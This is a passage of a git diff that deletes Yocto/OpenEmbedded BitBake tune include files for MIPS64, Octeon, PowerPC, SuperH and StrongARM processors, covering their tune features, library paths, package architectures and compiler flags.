-BASE_LIB_tune-mips64r2-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-n32 = "mips64-n32 mips64r2-n32"
-
-TUNE_FEATURES_tune-mips64r2el-n32 = "${TUNE_FEATURES_tune-mips64el-n32} mips64r2"
-BASE_LIB_tune-mips64r2el-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-n32 = "mips64el-n32 mips64r2el-n32"
-
-# MIPS 64r2 n32 and Soft Float
-AVAILTUNES += "mips64r2-nf-n32 mips64r2el-nf-n32"
-
-TUNE_FEATURES_tune-mips64r2-nf-n32 = "${TUNE_FEATURES_tune-mips64-nf-n32} mips64r2"
-BASE_LIB_tune-mips64r2-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-nf-n32 = "mips64-nf-n32 mips64r2-nf-n32"
-
-TUNE_FEATURES_tune-mips64r2el-nf-n32 = "${TUNE_FEATURES_tune-mips64el-nf-n32} mips64r2"
-BASE_LIB_tune-mips64r2el-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-nf-n32 = "mips64el-nf-n32 mips64r2el-nf-n32"
-
-# MIPS 64r2 o32
-AVAILTUNES += "mips64r2-o32 mips64r2el-o32"
-
-TUNE_FEATURES_tune-mips64r2-o32 = "${TUNE_FEATURES_tune-mips64-o32} mips64r2"
-BASE_LIB_tune-mips64r2-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-o32 = "mips mips64-o32 mips64r2-o32"
-
-TUNE_FEATURES_tune-mips64r2el-o32 = "${TUNE_FEATURES_tune-mips64el-o32} mips64r2"
-BASE_LIB_tune-mips64r2el-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-o32 = "mipsel mips64el-o32 mips64r2el-o32"
-
-# MIPS 64r2 o32 and Soft Float
-AVAILTUNES += "mips64r2-nf-o32 mips64r2el-nf-o32"
-
-TUNE_FEATURES_tune-mips64r2-nf-o32 = "${TUNE_FEATURES_tune-mips64-nf-o32} mips64r2"
-BASE_LIB_tune-mips64r2-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-nf-o32 = "mips-nf mips64r2-nf-o32"
-
-TUNE_FEATURES_tune-mips64r2el-nf-o32 = "${TUNE_FEATURES_tune-mips64el-nf-o32} mips64r2"
-BASE_LIB_tune-mips64r2el-nf-o32 = "lib"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-nf-o32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-nf-o32 = "mipsel-nf mips64r2el-nf-o32"
diff --git a/meta/conf/machine/include/tune-mips64r6.inc b/meta/conf/machine/include/tune-mips64r6.inc
deleted file mode 100644
index e53239a38b..0000000000
--- a/meta/conf/machine/include/tune-mips64r6.inc
+++ /dev/null
@@ -1,58 +0,0 @@
-DEFAULTTUNE ?= "mipsisa64r6el"
-
-require conf/machine/include/mips/arch-mips.inc
-
-TUNEVALID[mipsisa64r6] = "Enable mipsisa64r6 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', ' -march=mips64r6', '', d)}"
-
-# Base Tunes
-AVAILTUNES += "mipsisa64r6 mipsisa64r6el"
-
-TUNE_FEATURES_tune-mipsisa64r6 = "bigendian fpu-hard n64 mipsisa64r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6 = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6 = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6 = "mipsisa64r6"
-
-TUNE_FEATURES_tune-mipsisa64r6el = "fpu-hard r6 n64 mipsisa64r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6el = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el = "mipsisa64r6el"
-
-# Soft Float
-AVAILTUNES += "mipsisa64r6-nf mipsisa64r6el-nf"
-
-TUNE_FEATURES_tune-mipsisa64r6-nf = "bigendian r6 n64 mipsisa64r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6-nf = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6-nf = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6-nf = "mipsisa64r6-nf"
-
-TUNE_FEATURES_tune-mipsisa64r6el-nf = "r6 n64 mipsisa64r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el-nf = "${TUNE_ARCH}"
-BASE_LIB_tune-mipsisa64r6el-nf = "lib64"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el-nf = "mipsisa64r6el-nf"
-
-# MIPS 64r6 n32
-AVAILTUNES += "mipsisa64r6-n32 mipsisa64r6el-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6-n32 = "bigendian fpu-hard r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6-n32 = "mipsisa64r6-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6el-n32 = "fpu-hard r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6el-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el-n32 = "mipsisa64r6el-n32"
-
-# MIPS 64r6 n32 and Soft Float
-AVAILTUNES += "mipsisa64r6-nf-n32 mipsisa64r6el-nf-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6-nf-n32 = "bigendian r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6-nf-n32 = "mipsisa64r6-nf-n32"
-
-TUNE_FEATURES_tune-mipsisa64r6el-nf-n32 = "r6 n32 mipsisa64r6"
-BASE_LIB_tune-mipsisa64r6el-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mipsisa64r6el-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa64r6el-nf-n32 = "mipsisa64r6el-nf-n32"
diff --git a/meta/conf/machine/include/tune-octeon.inc b/meta/conf/machine/include/tune-octeon.inc
deleted file mode 100644
index b5deb8fd88..0000000000
--- a/meta/conf/machine/include/tune-octeon.inc
+++ /dev/null
@@ -1,32 +0,0 @@
-DEFAULTTUNE ?="octeon2"
-
-require conf/machine/include/tune-mips64.inc
-
-AVAILTUNES += "octeon2 octeon2_64 octeon3 octeon3_64"
-
-TUNEVALID[octeon2] = "Enable optimization related to octeon2 support"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon2', ' -march=octeon2 ', '',d)}"
-
-TUNE_FEATURES_tune-octeon2 = "${TUNE_FEATURES_tune-mips64-n32} octeon2"
-BASE_LIB_tune-octeon2 = "lib32"
-MIPSPKGSFX_VARIANT_tune-octeon2 = "octeon2"
-PACKAGE_EXTRA_ARCHS_tune-octeon2 = "mips64-n32 octeon2-n32"
-
-TUNE_FEATURES_tune-octeon2_64 = "${TUNE_FEATURES_tune-mips64} octeon2"
-BASE_LIB_tune-octeon2_64 = "lib64"
-MIPSPKGSFX_VARIANT_tune-octeon2_64 = "octeon2_64"
-PACKAGE_EXTRA_ARCHS_tune-octeon2_64 = "mips64 octeon2_64"
-
-
-TUNEVALID[octeon3] = "Enable optimization related to octeon3 support"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon3', ' -march=octeon3 ', '',d)}"
-
-TUNE_FEATURES_tune-octeon3 = "${TUNE_FEATURES_tune-mips64-n32} octeon3"
-BASE_LIB_tune-octeon3 = "lib32"
-MIPSPKGSFX_VARIANT_tune-octeon3 = "octeon3"
-PACKAGE_EXTRA_ARCHS_tune-octeon3 = "mips64-n32 octeon3-n32"
-
-TUNE_FEATURES_tune-octeon3_64 = "${TUNE_FEATURES_tune-mips64} octeon3"
-BASE_LIB_tune-octeon3_64 = "lib64"
-MIPSPKGSFX_VARIANT_tune-octeon3_64 = "octeon3_64"
-PACKAGE_EXTRA_ARCHS_tune-octeon3_64 = "mips64 octeon3_64"
diff --git a/meta/conf/machine/include/tune-power5.inc b/meta/conf/machine/include/tune-power5.inc
deleted file mode 100644
index 48c33fb273..0000000000
--- a/meta/conf/machine/include/tune-power5.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppcp5"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power5] = "Enable IBM Power5 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' -mcpu=power5', '', d)}"
-
-AVAILTUNES += "ppcp5 ppc64p5"
-TUNE_FEATURES_tune-ppcp5 = "m32 fpu-hard power5 altivec bigendian"
-BASE_LIB_tune-ppcp5 = "lib"
-TUNE_PKGARCH_tune-ppcp5 = "ppcp5"
-PACKAGE_EXTRA_ARCHS_tune-ppcp5 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp5"
-
-TUNE_FEATURES_tune-ppc64p5 = "m64 fpu-hard power5 altivec bigendian"
-BASE_LIB_tune-ppc64p5 = "lib64"
-TUNE_PKGARCH_tune-ppc64p5 = "ppc64p5"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p5 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p5"
-
-# glibc configure options to get power5 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-power6.inc b/meta/conf/machine/include/tune-power6.inc
deleted file mode 100644
index b708660217..0000000000
--- a/meta/conf/machine/include/tune-power6.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppcp6"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power6] = "Enable IBM Power6 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' -mcpu=power6', '', d)}"
-
-AVAILTUNES += "ppcp6 ppc64p6"
-TUNE_FEATURES_tune-ppcp6 = "m32 fpu-hard power6 altivec bigendian"
-BASE_LIB_tune-ppcp6 = "lib"
-TUNE_PKGARCH_tune-ppcp6 = "ppcp6"
-PACKAGE_EXTRA_ARCHS_tune-ppcp6 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp6"
-
-TUNE_FEATURES_tune-ppc64p6 = "m64 fpu-hard power6 altivec bigendian"
-BASE_LIB_tune-ppc64p6 = "lib64"
-TUNE_PKGARCH_tune-ppc64p6 = "ppc64p6"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p6 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p6"
-
-# glibc configure options to get power6 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-power7.inc b/meta/conf/machine/include/tune-power7.inc
deleted file mode 100644
index e976cc0467..0000000000
--- a/meta/conf/machine/include/tune-power7.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppcp7"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power7] = "Enable IBM Power7 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' -mcpu=power7', '', d)}"
-
-AVAILTUNES += "ppcp7 ppc64p7"
-TUNE_FEATURES_tune-ppcp7 = "m32 fpu-hard power7 altivec bigendian"
-BASE_LIB_tune-ppcp7 = "lib"
-TUNE_PKGARCH_tune-ppcp7 = "ppcp7"
-PACKAGE_EXTRA_ARCHS_tune-ppcp7 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp7"
-
-TUNE_FEATURES_tune-ppc64p7 = "m64 fpu-hard power7 altivec bigendian"
-BASE_LIB_tune-ppc64p7 = "lib64"
-TUNE_PKGARCH_tune-ppc64p7 = "ppc64p7"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p7 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p7"
-
-# glibc configure options to get power7 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-power9.inc b/meta/conf/machine/include/tune-power9.inc
deleted file mode 100644
index 81d6e8e9bf..0000000000
--- a/meta/conf/machine/include/tune-power9.inc
+++ /dev/null
@@ -1,35 +0,0 @@
-DEFAULTTUNE ?= "ppc64p9le"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[power9] = "Enable IBM Power9 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power9', ' -mcpu=power9', '', d)}"
-
-AVAILTUNES += "ppcp9 ppc64p9 ppcp9le ppc64p9le"
-
-TUNE_FEATURES_tune-ppcp9 = "m32 fpu-hard power9 altivec bigendian"
-BASE_LIB_tune-ppcp9 = "lib"
-TUNE_PKGARCH_tune-ppcp9 = "ppcp9"
-PACKAGE_EXTRA_ARCHS_tune-ppcp9 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppcp9"
-
-TUNE_FEATURES_tune-ppc64p9 = "m64 fpu-hard power9 altivec bigendian"
-BASE_LIB_tune-ppc64p9 = "lib64"
-TUNE_PKGARCH_tune-ppc64p9 = "ppc64p9"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p9 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p9"
-
-TUNE_FEATURES_tune-ppcp9le = "m32 fpu-hard power9 altivec"
-BASE_LIB_tune-ppcp9le = "lib"
-TUNE_PKGARCH_tune-ppcp9le = "ppcp9le"
-PACKAGE_EXTRA_ARCHS_tune-ppcp9le = "${PACKAGE_EXTRA_ARCHS_tune-powerpcle} ppcp9le"
-
-TUNE_FEATURES_tune-ppc64p9le = "m64 fpu-hard power9 altivec"
-BASE_LIB_tune-ppc64p9le = "lib64"
-TUNE_PKGARCH_tune-ppc64p9le = "ppc64p9le"
-PACKAGE_EXTRA_ARCHS_tune-ppc64p9le = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64le} ppc64p9le"
-
-# glibc configure options to get power9 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power9', '--with-cpu=power9', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power9', '--with-cpu=power9', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power9', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppc476.inc b/meta/conf/machine/include/tune-ppc476.inc
deleted file mode 100644
index 31eecc435c..0000000000
--- a/meta/conf/machine/include/tune-ppc476.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "ppc476"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppc476] = "Enable ppc476 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', ' -mcpu=476', '', d)}"
-
-AVAILTUNES += "ppc476"
-TUNE_FEATURES_tune-ppc476 = "m32 fpu-hard ppc476 bigendian"
-TUNE_PKGARCH_tune-ppc476 = "ppc476"
-PACKAGE_EXTRA_ARCHS_tune-ppc476 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppc476"
-
-# glibc configure options to get 476 specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', '-with-cpu=476', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppc603e.inc b/meta/conf/machine/include/tune-ppc603e.inc
deleted file mode 100644
index b110f13870..0000000000
--- a/meta/conf/machine/include/tune-ppc603e.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "ppc603e"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppc603e] = "Enable ppc603e specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', ' -mcpu=603e', '', d)}"
-
-AVAILTUNES += "ppc603e"
-TUNE_FEATURES_tune-ppc603e = "m32 fpu-hard ppc603e bigendian"
-TUNE_PKGARCH_tune-ppc603e = "ppc603e"
-PACKAGE_EXTRA_ARCHS_tune-ppc603e = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppc603e"
-
-# glibc configure options to get 603e specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', '-with-cpu=603e', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppc7400.inc b/meta/conf/machine/include/tune-ppc7400.inc
deleted file mode 100644
index 92d902994b..0000000000
--- a/meta/conf/machine/include/tune-ppc7400.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "ppc7400"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppc7400] = "Enable ppc7400 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', ' -mcpu=7400 -mno-spe', '', d)}"
-
-AVAILTUNES += "ppc7400"
-TUNE_FEATURES_tune-ppc7400 = "m32 fpu-hard ppc7400 altivec bigendian"
-TUNE_PKGARCH_tune-ppc7400 = "ppc7400"
-PACKAGE_EXTRA_ARCHS_tune-ppc7400 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppc7400"
-
-# glibc configure options to get 7400 specific library (for sqrt)
-#GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', '--with-cpu=power4', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppce300c2.inc b/meta/conf/machine/include/tune-ppce300c2.inc
deleted file mode 100644
index 6adeb4bdec..0000000000
--- a/meta/conf/machine/include/tune-ppce300c2.inc
+++ /dev/null
@@ -1,11 +0,0 @@
-DEFAULTTUNE ?= "ppce300c2"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppce300c2] = "Enable ppce300c2 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c2', ' -mcpu=e300c2', '', d)}"
-
-AVAILTUNES += "ppce300c2"
-TUNE_FEATURES_tune-ppce300c2 = "m32 fpu-soft ppce300c2 bigendian"
-TUNE_PKGARCH_tune-ppce300c2 = "ppce300c2"
-PACKAGE_EXTRA_ARCHS_tune-ppce300c2 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc-nf} ppce300c2"
diff --git a/meta/conf/machine/include/tune-ppce300c3.inc b/meta/conf/machine/include/tune-ppce300c3.inc
deleted file mode 100644
index a3d836c50c..0000000000
--- a/meta/conf/machine/include/tune-ppce300c3.inc
+++ /dev/null
@@ -1,23 +0,0 @@
-DEFAULTTUNE ?= "ppce300c3"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-AVAILTUNES += "ppce300c3 ppce300c3-nf"
-
-# hard-float
-TUNEVALID[ppce300c3] = "Enable ppce300c3 specific processor optimizations"
-TUNE_FEATURES_tune-ppce300c3 = "${TUNE_FEATURES_tune-powerpc} ppce300c3"
-TUNE_PKGARCH_tune-ppce300c3 = "ppce300c3"
-PACKAGE_EXTRA_ARCHS_tune-ppce300c3 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce300c3"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', ' -mcpu=e300c3', '', d)}"
-
-# glibc config options to make use of e300c3 (603e) specific sqrt/sqrtf routines
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', '--with-cpu=e300c3', '', d)}"
-
-# soft-float
-TUNEVALID[ppce300c3-nf] = "Enable ppce300c3 specific processor optimizations (no fpu)"
-TUNE_FEATURES_tune-ppce300c3-nf = "${TUNE_FEATURES_tune-powerpc-nf} ppce300c3-nf"
-TUNE_PKGARCH_tune-ppce300c3-nf = "ppce300c3-nf"
-PACKAGE_EXTRA_ARCHS_tune-ppce300c3-nf = "${PACKAGE_EXTRA_ARCHS_tune-powerpc-nf} ppce300c3-nf"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3-nf', ' -mcpu=e300c3', '', d)}"
-
diff --git a/meta/conf/machine/include/tune-ppce5500.inc b/meta/conf/machine/include/tune-ppce5500.inc
deleted file mode 100644
index acc6a50fca..0000000000
--- a/meta/conf/machine/include/tune-ppce5500.inc
+++ /dev/null
@@ -1,23 +0,0 @@
-DEFAULTTUNE ?= "ppce5500"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[e5500] = "Enable Freescale e5500 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' -mcpu=e5500', '', d)}"
-
-AVAILTUNES += "ppce5500 ppc64e5500"
-TUNE_FEATURES_tune-ppce5500 = "m32 fpu-hard e5500 bigendian"
-BASE_LIB_tune-ppce5500 = "lib"
-TUNE_PKGARCH_tune-ppce5500 = "ppce5500"
-PACKAGE_EXTRA_ARCHS_tune-ppce5500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce5500"
-
-TUNE_FEATURES_tune-ppc64e5500 = "m64 fpu-hard e5500 bigendian"
-BASE_LIB_tune-ppc64e5500 = "lib64"
-TUNE_PKGARCH_tune-ppc64e5500 = "ppc64e5500"
-PACKAGE_EXTRA_ARCHS_tune-ppc64e5500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64e5500"
-
-# glibc configure options to get e5500 specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'e5500', '--with-cpu=e5500', '', d)}"
-
-# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppce6500.inc b/meta/conf/machine/include/tune-ppce6500.inc
deleted file mode 100644
index d12d218d06..0000000000
--- a/meta/conf/machine/include/tune-ppce6500.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppce6500"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[e6500] = "Enable Freescale e6500 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' -mcpu=e6500', '', d)}"
-
-AVAILTUNES += "ppce6500 ppc64e6500"
-TUNE_FEATURES_tune-ppce6500 = "m32 fpu-hard e6500 altivec bigendian"
-BASE_LIB_tune-ppce6500 = "lib"
-TUNE_PKGARCH_tune-ppce6500 = "ppce6500"
-PACKAGE_EXTRA_ARCHS_tune-ppce6500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce6500"
-
-TUNE_FEATURES_tune-ppc64e6500 = "m64 fpu-hard e6500 altivec bigendian"
-BASE_LIB_tune-ppc64e6500 = "lib64"
-TUNE_PKGARCH_tune-ppc64e6500 = "ppc64e6500"
-PACKAGE_EXTRA_ARCHS_tune-ppc64e6500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64e6500"
-
-# glibc configure options to get e6500 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
-
-# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-sh3.inc b/meta/conf/machine/include/tune-sh3.inc
deleted file mode 100644
index 80df9a0b61..0000000000
--- a/meta/conf/machine/include/tune-sh3.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "sh3"
-
-require conf/machine/include/sh/arch-sh.inc
-
-TUNEVALID[sh3] = "Enable SH3 optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh3', ' -m3', '', d)}"
-
-AVAILTUNES += "sh3 sh3eb"
-TUNE_FEATURES_tune-sh3 = "sh3"
-TUNE_ARCH_tune-sh3 = "sh3"
-TUNE_PKGARCH_tune-sh3 = "sh3"
-PACKAGE_EXTRA_ARCHS_tune-sh3 = "sh sh3"
-
-TUNE_FEATURES_tune-sh3eb = "sh3 bigendian"
-TUNE_ARCH_tune-sh3eb = "sh3eb"
-TUNE_PKGARCH_tune-sh3eb = "sh3eb"
-PACKAGE_EXTRA_ARCHS_tune-sh3eb = "sheb sh3eb"
diff --git a/meta/conf/machine/include/tune-sh4.inc b/meta/conf/machine/include/tune-sh4.inc
deleted file mode 100644
index 4160c30e1a..0000000000
--- a/meta/conf/machine/include/tune-sh4.inc
+++ /dev/null
@@ -1,34 +0,0 @@
-DEFAULTTUNE ?= "sh4"
-
-# Pull in sh4 for compatibility...
-require conf/machine/include/sh/arch-sh.inc
-
-TUNEVALID[sh4] = "Enable SH4 optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4', ' -m4', '', d)}"
-
-# NOTE: If you want to optimize to sh4a, conf/machine/include/tune-sh4a.inc.
-# But it is not compatible for sh4.
-# The binary optimized by m4a doesn't operate on sh4. It works on sh4a only.
-TUNEVALID[sh4a] = "Enable SH4a optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4a', ' -m4a', '', d)}"
-
-AVAILTUNES += "sh4 sh4eb sh4a sh4aeb"
-TUNE_FEATURES_tune-sh4 = "sh4"
-TUNE_ARCH_tune-sh4 = "sh4"
-TUNE_PKGARCH_tune-sh4 = "sh4"
-PACKAGE_EXTRA_ARCHS_tune-sh4 = "sh sh4"
-
-TUNE_FEATURES_tune-sh4eb = "sh4 bigendian"
-TUNE_ARCH_tune-sh4eb = "sh4eb"
-TUNE_PKGARCH_tune-sh4eb = "sh4eb"
-PACKAGE_EXTRA_ARCHS_tune-sh4eb = "sheb sh4eb"
-
-TUNE_FEATURES_tune-sh4a = "sh4a"
-TUNE_ARCH_tune-sh4a = "sh4"
-TUNE_PKGARCH_tune-sh4a = "sh4a"
-PACKAGE_EXTRA_ARCHS_tune-sh4a = "sh sh4 sh4a"
-
-TUNE_FEATURES_tune-sh4aeb = "sh4a bigendian"
-TUNE_ARCH_tune-sh4aeb = "sh4eb"
-TUNE_PKGARCH_tune-sh4aeb = "sh4aeb"
-PACKAGE_EXTRA_ARCHS_tune-sh4aeb = "sheb sh4eb sh4aeb"
diff --git a/meta/conf/machine/include/tune-strongarm1100.inc b/meta/conf/machine/include/tune-strongarm1100.inc
deleted file mode 100644
index 9479965843..0000000000
--- a/meta/conf/machine/include/tune-strongarm1100.inc
+++ /dev/null
@@ -1,12 +0,0 @@
-DEFAULTTUNE ?= "armv4"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[strongarm] = "Enable Strongarm 1100 series processor optimizations"
